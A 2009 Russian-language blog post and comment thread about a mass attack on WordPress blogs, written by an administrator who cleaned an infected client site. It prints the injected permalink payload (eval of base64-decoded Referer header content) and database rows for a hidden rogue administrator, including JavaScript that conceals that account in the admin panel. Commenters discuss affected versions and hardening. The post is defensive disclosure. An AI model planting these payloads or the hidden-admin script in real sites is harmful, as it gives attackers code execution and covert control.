Ахтунг! Атаки на WordPress блоги
Столкнулся позавчера с одним “глюком” при настройке клиентского блога – криво работали ссылки на комментарии и падал сервер базы данных при попытке отредактировать пользователей в админке. и кстати там показывает вот такую хрень при этом:

Phpmyadmin выдает при этом примерно такое:
Lost connection to MySQL server during query
и не отвечает сервер минут 50 после этого…
Погуглил тогда сразу и нашел как исправить ошибки с постоянными ссылками, но сегодня в дампе базы данных обнаружил что там исправляется далеко не все. Ручками повыкашивал разные строки типа:
%25&%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29&%25/
%25&evalbase64_decode_SERVERHTTP_REFERER.%2B&%25/
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&{${evalbase64_decode$_SERVER[HTTP_REFERER]}}|.+&%/
&%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
В базе данных это выглядело примерно так (этот юзер не показывается вообще в админке):
(574, 143, 'rich_editing', 'true'),
(575, 143, 'comment_shortcuts', 'false'),
(576, 143, 'admin_color', 'fresh'),
(577, 143, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(578, 143, 'first_name', '...\n\n\n\n\n\n\n\n\n<div id="user_superuser"><script language="JavaScript">\nvar setUserName = function(){\n try{\n var t=document.getElementById("user_superuser");\n while(t.nodeName!="TR"){\n t=t.parentNode;\n };\n t.parentNode.removeChild(t);\n var tags = document.getElementsByTagName("H3");\n var s = " shown below";\n for (var i = 0; i < tags.length; i++) {\n var t=tags[i].innerHTML;\n var h=tags[i];\n if(t.indexOf(s)>0){\n s =(parseInt(t)-1)+s;\n h.removeChild(h.firstChild);\n t = document.createTextNode(s);\n h.appendChild(t);\n }\n }\n var arr=document.getElementsByTagName("ul");\n for(var i in arr) if(arr[i].className=="subsubsub"){\n var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);\n if(n[1]>0){\n var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");\n arr[i].innerHTML=txt;\n }\n }\n }catch(e){};\n };\n addLoadEvent(setUserName);\n</script></div>'),
(573, 143, 'nickname', 'NicolasMager80'),
(570, 1, 'closedpostboxes_dashboard', 'a:1:{i:0;s:0:"";}'),
(571, 1, 'metaboxhidden_dashboard', 'a:3:{i:0;s:17:"dashboard_plugins";i:1;s:17:"dashboard_primary";i:2;s:19:"dashboard_secondary";}'),
(572, 1, 'plugins_last_view', 'all'),
(579, 143, 'wp_user_level', '10');
вот этот поддельный администратор "хакер"
(143, 'NicolasMager80', '$P$BIum3O2v9eAU9dAJRcn23VX2VjnbsG.', 'nicolasmager80', '', '', '2009-09-05 12:41:37', '', 0, 'NicolasMager80');
Сегодня с утра про эту же атаку на блоги прочитал у Дмитрия Донченко
так что обновляйтесь регулярно :-)
Рубрики: Wordpress Метки: Wordpress, атака, ахтунг
Распечатать
Связанные записи
28 комментариев
Комментарии не по теме удаляются! Читайте реадми дистрибутива, комментарии выше и FAQ! Прежде чем задавать вопрос, прочитайте это. Научитесь ценить чужое время!


(голосов: 8, средний: 3.88 из 5)

7 сентября 2009 в 2:06 (GMT+6)
Регистрация закрыта изначально, но все равно уже пошел обновляться :)
7 сентября 2009 в 7:45 (GMT+6)
Жуть жуткая…
7 сентября 2009 в 14:22 (GMT+6)
надо закрывать папки
админскую по ip
а в аплоад запретить выполнение php cgi и тд и тп
и забудете про такие взломы
7 сентября 2009 в 15:55 (GMT+6)
Спасибо за новость. Она мне в субботу вечером в дороге застала. Друг в твитер скинул “По всему миру идет массовой взлом WP блогов” И ссылку на какой то буржуйский сайт скинул. Я по английски читать плохо умею, но слова тегах h1 “Аларм!!!” “Ахтунг” и т.д. произвели должное впечатление. Я чуть не поседел пока до дома добрался. Потом только понял что не все так страшно как рисовало мне мое воображение :) Вообще думаю отказаться от WordPress кроме как для блогов. Т.е. делать многопользовательские сайты на нем все таки не стоит. А то так до пенсии можно не дожить из за того что друзья паникеры :)
7 сентября 2009 в 17:27 (GMT+6)
Какие версии WP подвержены уязвимости?
2.7.x попадает под нее?
7 сентября 2009 в 19:14 (GMT+6)
С 2.2.3 по 2.8.2 включительно.
8 сентября 2009 в 3:21 (GMT+6)
Не спасет! У меня регистрации на блоге нет вообще, однако же сегодня только избавилась от скрытого админа, который мне бложек поломал, гадина такая(((
8 сентября 2009 в 15:28 (GMT+6)
По всей видимости уязвимы вп до 2.8.3. включительно. Регистрируется пользователь даже пр закрытой регистрации, далее путем отправки запроса на xmlrpc.php специального запроса через дырку в пермалинках инклюдится вот этот файл , потом правятся файлы (не у всех).
Как проверить на заразу и лечиться я
8 сентября 2009 в 15:35 (GMT+6)
А можно подробней? Регистрации нет сейчас или никогда не было? Есть ли другие регистрированные пользователи, кроме админа?
9 сентября 2009 в 14:19 (GMT+6)
Как?
9 сентября 2009 в 22:01 (GMT+6)
Так-так. Надо все-таки обновляться, раз такая напасть пришла, очень не хочется правда. :)
9 сентября 2009 в 22:08 (GMT+6)
В логах сервера только пост запрос на wp-login.php.
12 сентября 2009 в 21:38 (GMT+6)
Рекомендовали же до 2.8.3 обновиться… а вообще надо искать альтернативные движки… WP уже надоедает частотой версий и их корявостью…
Хотя смотрел аналоги (из “лучших”) – поставить сходу ни один не получилось… кучу всего надо докручивать…
13 сентября 2009 в 19:27 (GMT+6)
Я сегодня прочитал на каком-то блоге в версии 2.8.1 была возможность создать какогото хидден-админа. И у чела изза этого много проблем возникло. Вот так и обновляйся :(
Лучше старую но не такую ущербную версию иметь
15 сентября 2009 в 19:14 (GMT+6)
Тоже самое было, восстановил базу из бекапа
Заметил из админки, к ссылкам после слеша стала добавляться всякая хрень. я так понимаю это был редирект на дор?
24 октября 2009 в 19:58 (GMT+6)
Подскажите, какая версия на Ваш взгляд самая безопасная?
11 января 2010 в 14:37 (GMT+6)
Наверное самая последняя.
19 апреля 2010 в 2:38 (GMT+6)
Belavir — следим за изменениями в php файлах движка !
28 мая 2011 в 12:18 (GMT+6)
Это всё конечно интересно только ни чё не понятно. Может мои планы оправдаются по поводу какиров.
3 июля 2011 в 1:25 (GMT+6)
если бы не прожорливость каждой новой версии, то обновлялся бы сразу